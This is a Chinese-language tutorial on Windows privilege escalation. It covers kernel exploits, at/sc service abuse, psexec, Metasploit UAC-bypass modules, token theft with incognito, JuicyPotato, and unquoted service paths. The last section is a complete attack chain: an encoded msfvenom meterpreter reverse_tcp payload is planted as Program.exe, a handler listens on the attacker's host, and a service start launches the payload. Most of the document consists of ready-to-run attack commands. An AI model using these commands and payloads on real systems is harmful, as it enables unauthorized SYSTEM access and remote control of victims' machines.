一、提权基础概念
(一)提权类型
-
纵向提权:低权限角色获取高权限角色的权限(如普通用户获得管理员或 SYSTEM 权限)。
-
横向提权:获取同级别角色的权限(如普通用户获取另一个普通用户的权限,常用于内网横向移动)。
(二)常见提权方法分类
-
系统内核溢出漏洞提权
-
数据库提权(如 MySQL、MSSQL 权限滥用)
-
错误的系统配置提权(如可信任服务路径漏洞)
-
组策略首选项提权
-
WEB 中间件漏洞提权(如 Tomcat 弱口令部署 war 包)
-
DLL 劫持提权
-
滥用高危权限令牌提权
-
第三方软件 / 服务提权(如弱权限服务配置)
二、常用提权方法详解
(一)系统内核溢出漏洞提权
-
原理:利用操作系统内核漏洞,通过溢出攻击覆盖内存数据,获取 SYSTEM 权限。
-
操作步骤:
-
收集补丁信息:
systeminfo
或wmic qfe get HotFixID
,识别缺失的安全补丁(如未安装 KB4013081 可能存在 MS17-010 漏洞)。 -
查找对应漏洞工具:从 SecWiki、Exploit-DB 等平台下载溢出工具(如 MS17-010 的 exploit.exe)。
-
执行工具提权:在目标机运行工具,直接获取 SYSTEM 权限的 CMD 或反弹 shell。
-
-
适用场景:未及时打补丁的老旧系统(如 Windows XP、Server 2003),新系统因补丁完善较难利用。
(二)计划任务 / 服务命令提权
-
at 命令提权(适用于 Windows 2000/2003/XP)
-
原理:
at
命令默认以 SYSTEM 权限执行计划任务,可创建交互式命令窗口。 -
命令示例:
at 15:06 /interactive cmd # 指定时间启动交互式cmd(system权限)
-
sc 命令提权(适用于 Windows 7/8/03/08/12/16)
-
原理:
sc
命令用于管理服务,通过创建自定义服务并配置启动命令,以 SYSTEM 权限执行程序。 -
命令示例:
sc Create systemcmd binPath= "cmd /K start" type= own type= interact # systemcmd是服务名称,大家可以随意填写 # binpath是启动的命令 # type=own是指服务这个服务属于谁 # cmd /k start 这个命令就是启动一个新的cmd窗口:
(三)psexec 提权(适用于 Win2003/2008)
-
工具:微软 PSTools 工具包中的
psexec.exe
。 -
原理:通过远程执行命令,直接以 SYSTEM 权限启动进程。
-
命令示例:
psexec.exe -accepteula -s -i cmd.exe # 以system权限启动交互式cmd
(四)UAC 绕过(适用于 Vista 及以上系统)
-
UAC 作用:限制程序未经授权的系统更改,需管理员确认才能执行高权限操作。
-
常用方法:通过 MSF 模块绕过 UAC 验证:
exploit/windows/local/ask # 弹出UAC确认窗口,点击后提权
exploit/windows/local/bypassuac # 直接绕过UAC
exploit/windows/local/bypassuac_injection # 注入进程绕过UAC
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack
(五)令牌窃取(适用于 2008 之前版本)
-
原理:用户登录后生成
Access Token
(访问令牌),进程通过令牌获取权限。窃取高权限令牌可提升权限。 -
令牌类型:
-
授权令牌(Delegation token):交互式登录(如本地登录),权限较高。
-
模拟令牌(Impersonation token):非交互式登录(如访问共享文件),权限较低。
-
-
操作步骤(MSF):
meterpreter > use incognito # 加载令牌模块 meterpreter > list_tokens -u # 列出可用令牌(如WEB-SERVER\Administrator) meterpreter > impersonate_token WEB-SERVER\\Administrator # 窃取管理员令牌(注意双反斜杠)
(六)烂土豆提权(MS16-075,CVE-2016-3225)
-
原理:利用 Windows SMB 服务器漏洞,欺骗
NT AUTHORITY\SYSTEM
账户进行 NTLM 认证,通过中间人攻击获取系统权限。具体过程如下:-
攻击者构造特殊的请求,欺骗
NT AUTHORITY\SYSTEM
账户对这个伪造的请求进行 NTLM 认证。 -
攻击者扮演中间人的角色,拦截并篡改
NT AUTHORITY\SYSTEM
账户发送的认证信息。 -
通过这种方式,攻击者可以获取到高权限的访问令牌,从而提升自身在系统中的权限。
-
-
条件:需开启
SeImpersonate
或SeAssignPrimaryToken
权限(通过whoami /priv
查看)。 -
命令示例:
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {CLSID} # 使用JuicyPotato工具,-t指定权限类型,-p指定目标程序,-l指定端口 # 如果开启SeImpersonate权限:-t t # 如果开启SeAssignPrimaryToken权限:-t u # 如果均开启:-t # 如果均未开启:无法提权
-
CLSID 选择:CLSID 是用于标识 COM 组件的唯一标识符,选择时需要考虑系统版本、服务配置等因素,参考。
-
-
工具地址:
(七)可信任服务路径漏洞提权
-
漏洞判定:若一个服务的可执行文件路径未被双引号包裹且包含空格,则该服务存在可信任服务路径漏洞。
-
漏洞原理:以路径
C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe
为例:-
当路径带引号时(如
"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"
),会被视为完整路径,无漏洞; -
当路径不带引号时,Windows 会将空格后的内容误认为参数,优先尝试执行空格前分段对应的文件(如
C:\Program.exe
),攻击者可构造同名恶意文件,诱使服务启动时执行以提权。
-
-
漏洞检测:执行以下命令筛选存在漏洞的服务:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """" #该命令用于筛选自动启动、路径不在`C:\Windows\`下且未被双引号包裹的服务,这类服务为潜在漏洞目标。
-
利用步骤:
-
模拟创建漏洞服务,
sc
命令创建路径含空格且无引号的服务并设置自动启动:
sc create QQMUSIC binPath= "C:\Program Files (x86)\Tencent\QQMusic\QQMusic.exe" sc config QQMUSIC start= AUTO sc qc QQMUSIC | findstr BINARY_PATH_NAME #正确配置(\" 表示双引号字符) sc create QQMUSIC binPath= "\"C:\Program Files (x86)\Tencent\QQMusic\QQMusic.exe\"" start= auto
-
生成恶意木马,在 Kali 中使用
msfvenom
生成反向连接木马,文件名需匹配路径空格前的分段:
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 11 -b '\x00' lhost=攻击机IP lport=攻击机端口 -f exe -o Program.exe
-
放置木马与监听,将恶意文件
Program.exe
放在路径分段的根目录C:
msfconsole use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 攻击机IP set LPORT 攻击机端口 set AutoRunScript migrate -f # 防止会话断开 run
-
触发漏洞,启动存在漏洞的服务以执行恶意文件:
net start QQMUSIC
-
自动化利用,直接使用 MSF 内置模块:
use exploit/windows/local/unquoted_service_path
-